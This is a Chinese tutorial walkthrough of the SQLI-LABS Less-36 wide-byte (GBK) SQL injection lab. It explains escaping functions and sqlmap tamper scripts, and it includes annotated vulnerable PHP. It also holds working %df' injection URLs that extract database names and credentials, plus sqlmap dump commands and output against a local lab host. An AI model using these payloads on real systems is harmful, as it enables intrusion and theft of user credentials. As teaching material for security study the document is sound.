目錄
一、轉義函數
1、mysqli_real_escape_string
2、addslashes
3、轉義區別
二、寬字符注入
三、sqlmap之tamper
四、sqlmap之unmagicquotes?
五、源碼分析
1、代碼審計
2、SQL注入安全性分析
六、滲透實戰
1、進入靶場
2、id=1探測
3、id=-1探測
4、id=1%df' and 1=2 -- 探測
5、id=1%df' or 1=1 -- 探測
6、手動注入(方法1)
(1)獲取數據庫名
(2)獲取表名
(3)獲取列名
(4)獲取數據
7、sqlmap滲透實戰(方法2)?
8、sqlmap滲透實戰(方法3)?
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節使用3種方法(手工注入+2種腳本注入)對第36關Less 36基于寬字符的SQL注入關卡進行滲透實戰。??
一、轉義函數
1、mysqli_real_escape_string
- 是 MySQL 官方提供的數據庫連接對象(
mysqli
)的內置函數。 - 依賴當前連接的字符集,會根據?
mysqli
?對象的字符集(如?gbk
、utf8
?等)對特殊字符進行轉義(如 對'
、"
、\
添加轉義符?\
),確保轉義后字符串在數據庫中正確解析,避免 SQL 注入。 - 安全性更高,專門針對 MySQL 設計,能處理不同字符集下的特殊字符(如多字節字符中的?
\x5c
?和?\x27
?組合),有效防御 SQL 注入。 - 不過若字符集為 GBK/GB2312,某些情況下攻擊者仍可利用寬字節特性繞過轉義。
場景 | mysqli_real_escape_string 效果 | 是否存在款子字節注入風險 |
---|---|---|
字符集為 UTF-8 | 正確轉義所有特殊字符,無法形成寬字符組合 | 否 |
字符集為 GBK/GB2312 | 轉義符?\ ?可能被寬字節 “吃掉”,單引號逃逸 | 是 |
2、addslashes
- 是 PHP 內置的通用字符串轉義函數。
- 不依賴字符集,直接對?
'
、"
、\
、NULL
?等特殊字符添加反斜杠(\
)進行轉義,屬于 “固定規則” 轉義,可能因字符集問題導致轉義不徹底(如寬字節注入)。 - 安全性較低,無法感知字符集,在寬字節場景下(如數據庫字符集為?
gbk
),可能被利用繞過轉義(例如?%df'
?會與?\
?組合成?�'
,導致單引號逃逸)
3、轉義區別
mysqli_real_escape_string 與 addslashes 的區別如下表所示。
對比維度 | mysqli_real_escape_string | addslashes |
---|---|---|
所屬類別 | MySQL 官方?mysqli ?擴展函數 | PHP 內置通用函數 |
字符集依賴 | 依賴?mysqli ?連接的字符集(如?gbk 、utf8 ) | 不依賴字符集,固定轉義規則 |
轉義邏輯 | 根據字符集智能轉義特殊字符(如多字節字符中的危險符號) | 直接對?' 、" 、\ 、NULL ?添加?\ ?轉義 |
防御 SQL 注入 | 強(專門針對 MySQL 設計,多數場景下可防寬字節注入) | 弱(可能因字符集問題導致逃逸,如寬字節攻擊) |
使用前提 | 必須存在有效的?mysqli ?連接對象 | 無需依賴任何擴展或連接,可獨立使用 |
典型場景 | MySQL 數據庫查詢參數的轉義 | 非數據庫場景的字符串轉義(如 HTML 顯示) |
安全性等級 | 高(官方推薦方案) | 低(僅適用于非安全場景) |
二、寬字符注入
寬字節注入是一種利用數據庫字符集轉換安全風險的SQL注入技術,主要影響使用GBK、BIG5等多字節字符集的系統。
寬字節SQL的核心條件如下所示。
- 數據庫使用寬字節字符集(如 GBK、GB2312 等)。
- 輸入數據未正確處理編碼,比如閉合方式為單引號時,導致轉義符
\
被 “吃掉”。其核心原理如下所示。-
當系統使用addslashes或mysql_real_escape_string轉義單引號時,會添加反斜杠(\')
-
在GBK編碼中,%df%5c可組成一個合法漢字"運"
-
攻擊者構造%df',轉義后變為%df%5c%27,被解析為"運'"使單引號逃逸
-
這里要特別強調,數值型參數本身不受寬字節注入影響。
三、sqlmap之tamper
sqlmap是一款開源的自動化SQL注入檢測與利用工具,由Python編寫。Tamper腳本是SQLMap中用于繞過WAF/IDS/IPS的腳本模塊,通過對注入payload進行特定變換來規避安全檢測。常用的tamper腳本功能如下所示。
Tamper名稱 | 功能描述 |
---|---|
space2comment | 用/**/ 替換空格 |
randomcase | 隨機大小寫轉換 |
between | 用NOT BETWEEN 0 AND # 替換> ,用BETWEEN # AND # 替換= |
charencode | 對payload進行URL編碼 |
charunicodeencode | 使用Unicode編碼 |
equaltolike | 用LIKE 替換= |
greatest | 用GREATEST 函數繞過對> 的過濾 |
halfversionedmorekeywords | 在關鍵字前添加MySQL注釋(針對特定MySQL版本) |
modsecurityversioned | 使用MySQL注釋繞過ModSecurity |
space2plus | 用+ 替換空格 |
space2hash | 用# 加換行符替換空格 |
apostrophemask | 用UTF-8全角字符替換單引號 |
四、sqlmap之unmagicquotes?
--tamper unmagicquotes 是 sqlmap?工具中的一個參數選項,用于在進行 SQL 注入測試時,對輸入數據進行特定的處理,以繞過某些應用程序中可能存在的?magic_quotes_gpc
?或類似的自動轉義機制。
-
magic_quotes_gpc
?簡介:magic_quotes_gpc
?是 PHP 中的一個配置選項,它會自動對用戶輸入的數據進行轉義,在特殊字符(如單引號?'
、雙引號?"
、反斜杠?\
?和 NULL 字符)前添加反斜杠?\
。其目的是為了防止 SQL 注入攻擊,但在某些情況下可能會帶來不便,并且也不能完全防止所有類型的 SQL 注入。
-
--tamper unmagicquotes
?的作用:- 當使用?
sqlmap
?進行 SQL 注入測試時,如果目標應用程序啟用了?magic_quotes_gpc
?或類似的自動轉義機制,sqlmap
?會自動檢測到并嘗試繞過它。 --tamper unmagicquotes
?參數的作用就是告訴?sqlmap
?對輸入數據進行處理,去除自動添加的反斜杠,以便能夠成功地進行 SQL 注入測試。
- 當使用?
五、源碼分析
1、代碼審計
本關卡Less36是基于寬字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。
Less36關卡功能是簡單基于id的查詢頁面,與33關卡區別主要是對字符型參數轉義處理邏輯使用的函數不同,33關使用addslashes() 對參數id進行轉義處理,而36關使用mysqli_real_escape_string函數對id進行轉義處理,?具體區別如下所示。
36關卡詳細注釋過的源碼如下所示。
<?php
// 引入數據庫連接配置文件
include("../sql-connections/sqli-connect.php");
// 關閉錯誤報告,避免敏感信息泄露
error_reporting(0);/*** 轉義函數:使用mysqli_real_escape_string對輸入進行轉義* @param mysqli $con1 數據庫連接對象* @param string $string 待轉義的字符串* @return string 轉義后的字符串*/
function check_quotes($con1, $string) {$string = mysqli_real_escape_string($con1, $string); // 轉義SQL特殊字符(如單引號、反斜杠等)return $string;
}// 處理GET參數id
if (isset($_GET['id'])) {$id = check_quotes($con1, $_GET['id']); // 調用轉義函數處理輸入// echo "The filtered request is :" .$id . "<br>"; // 調試用,輸出過濾后的參數// 記錄id參數到日志文件(路徑為當前目錄下的result.txt)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 設置數據庫字符集為gbk(關鍵配置,可能引發寬字符注入)mysqli_query($con1, "SET NAMES gbk");// 構造SQL查詢語句(字符串類型參數,使用單引號包裹)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) { // 查詢成功,顯示用戶信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else { // 查詢失敗,顯示數據庫錯誤信息(可用于錯誤回顯注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 輸出數據庫錯誤,如語法錯誤、表不存在等echo "</font>"; }
} else { // 未提供id參數時的提示echo "Please input the ID as parameter with numeric value";
}
?>
本關卡通過使用addslashes()轉義邏輯,結合gbk字符集演示了寬字符注入的原理。核心安全風險在于轉義后的反斜杠與寬字符組合導致單引號逃逸,核心功能如下所示。
- 自定義轉義函數:使用mysqli_real_escape_string() 的轉義邏輯,根據連接字符集對單引號、雙引號和反斜杠等進行轉義,理論上防御常規 SQL 注入。
- 參數處理:從 GET 參數獲取
id
,調用轉義函數后直接拼接?SQL 查詢語句中(SELECT * FROM users WHERE id='$id' LIMIT 0,1)。 - 數據庫配置:顯式設置字符集為?
gbk
,為寬字符注入創造條件。 - 頁面提示信息:
- 數據庫報錯信息回顯:當 SQL 查詢失敗時,返回數據庫錯誤信息(如語法錯誤),可用于注入攻擊的錯誤提示。
- 用戶名密碼回顯:當SQL查詢成功時,返回用戶名和密碼
- 調試提示:無論查詢成功還是失敗頁面底部均顯示轉義后的字符串,幫助理解參數。
2、SQL注入安全性分析
本關卡具有寬字節注入風險,具體分析如下所示。
- 轉義邏輯:
- 將mysqli_real_escape_string處理過的id直接拼接到SQL注入語句(SELECT * FROM users WHERE id='$id' LIMIT 0,1)中,mysqli_real_escape_string會將單引號(')轉義為\'(%5C%27),但在gbk字符集中,%5C(反斜杠)與前一個字節(如%DF)可組合成寬字符(%DF%5C在 gbk 中為無效字符,但會被解析為一個字符),導致單引號%27被釋放,存在寬字節注入風險。
- 數據庫字符集為
gbk
時,反斜杠\
(ASCII 碼為?5C
)與后續字符可能組成一個寬字符,導致轉義的單引號雖然被轉義卻仍然被“放掉”從而構成閉合。
- 注入流程:
- 輸入 payload:
%df'
(URL 編碼為?%df%27
)。 - 單引號轉義后變為:
\'
?URL 編碼為?%5C%27,%df'轉移后變為了%df%5C%27
- 在gbk字符集中,%df%5C 被解析為一個寬字符,%27(單引號)被保留。
- 輸入 payload:
六、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://192.168.59.1/sqli-labs/
點擊進入Page2,如下圖紅框所示。?
其中第35關在進階挑戰關卡“SQLi-LABS Page-2 (Adv Injections)”中,?點擊進入如下頁面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
點擊上圖紅框的Less36關卡,進入到靶場的第36關卡,頁面提示“Please input the ID as parameter with numeric value”,并且在頁面下方提示HINT信息“Hint: The Query String you input is escaped as ”,具體如下所示。
http://192.168.59.1/sqli-labs/Less-36
2、id=1探測
http://192.168.59.1/sqli-labs/Less-36/?id=1
如下所示顯示id=1用戶的賬戶名和密碼,以及兩個提示,如下所示。?
3、id=-1探測
http://192.168.59.1/sqli-labs/Less-36/?id=-1
如下所示id=-1這個用戶不存在,查詢失敗頁面下方顯示兩個提示,如下所示。??
4、id=1%df' and 1=2 -- 探測
注入內容設置為1%df' and 1=2 -- ,由于空格的URL編碼為加號,完整URL如下所示。
http://192.168.59.1/sqli-labs/Less-36/?id=1%df' and 1=2--+
5、id=1%df' or 1=1 -- 探測
注入內容設置為%df' or 1=1 -- ,由于空格的URL編碼為加號,完整URL如下所示。
http://192.168.59.1/sqli-labs/Less-36/?id=%df' or 1=1--+
此時滲透成功,顯示了id=1的用戶名和密碼Dumb,如下所示。?
6、手動注入(方法1)
(1)獲取數據庫名
如下所示,數據庫的名稱為“security”。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+
(2)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+
(3)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。特別注意這里users表使用十六進制0x7573657273表示,因為'users'會被轉義,此時滲透成功。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273),0x7e),1)--+
(4)獲取數據
最后通過上一步獲取到的列名來提取users表的第一行的用戶名和密碼內容,這里符號:也被替換為0x3a,如下所示滲透成功。
http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+
7、sqlmap滲透實戰(方法2)?
?我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),其中-u參數指定目標URL地址,在id=1后面增加%df'的目標是指定閉合方式,星號*放在id=1%df'后則是指定注入點為id,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=-1%df'*" --current-db --batch --dump
sqlmap滲透成功,可以通過報錯法、時間盲注方法滲透成功,具體信息如下所示。?
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1320 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND GTID_SUBSET(CONCAT(0x71767a7171,(SELECT (ELT(4514=4514,1))),0x7162707a71),4514)-- XaXoType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND (SELECT 9987 FROM (SELECT(SLEEP(5)))rkuL)-- BsKt
---
[03:30:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:30:29] [INFO] fetching current database
[03:30:29] [INFO] retrieved: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8、sqlmap滲透實戰(方法3)?
使用tamper腳本進行sqlmap滲透,具體命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=1" --current-db --batch --dump --tamper unmagicquotes
- 探測URL:通過?
-u
?指定目標 URL 和參數。 - 獲取信息:用?
--current-db
?獲取當前數據庫名。 - 自動化執行:
--batch
?避免人工干預。 - 數據導出:
--dump
?導出數據庫內容。 - 繞過防護:
--tamper unmagicquotes
?嘗試移除多余轉義。
如下所示,sqlmap滲透成功,可以通過聯合注入法、報錯法、布爾盲注、時間盲注方法滲透成功,具體信息如下所示。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: id=1' AND 4658=4658#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170706271,(SELECT (ELT(5019=5019,1))),0x717a716b71),5019)-- WmWpType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 3115 FROM (SELECT(SLEEP(5)))fuWe)-- AqFzType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: id=-6572' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x58715553674f49746f556e6268516177646458796a77655943644e4e537a48725955504764736647,0x717a716b71),NULL#
---
[03:19:56] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[03:19:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:19:56] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+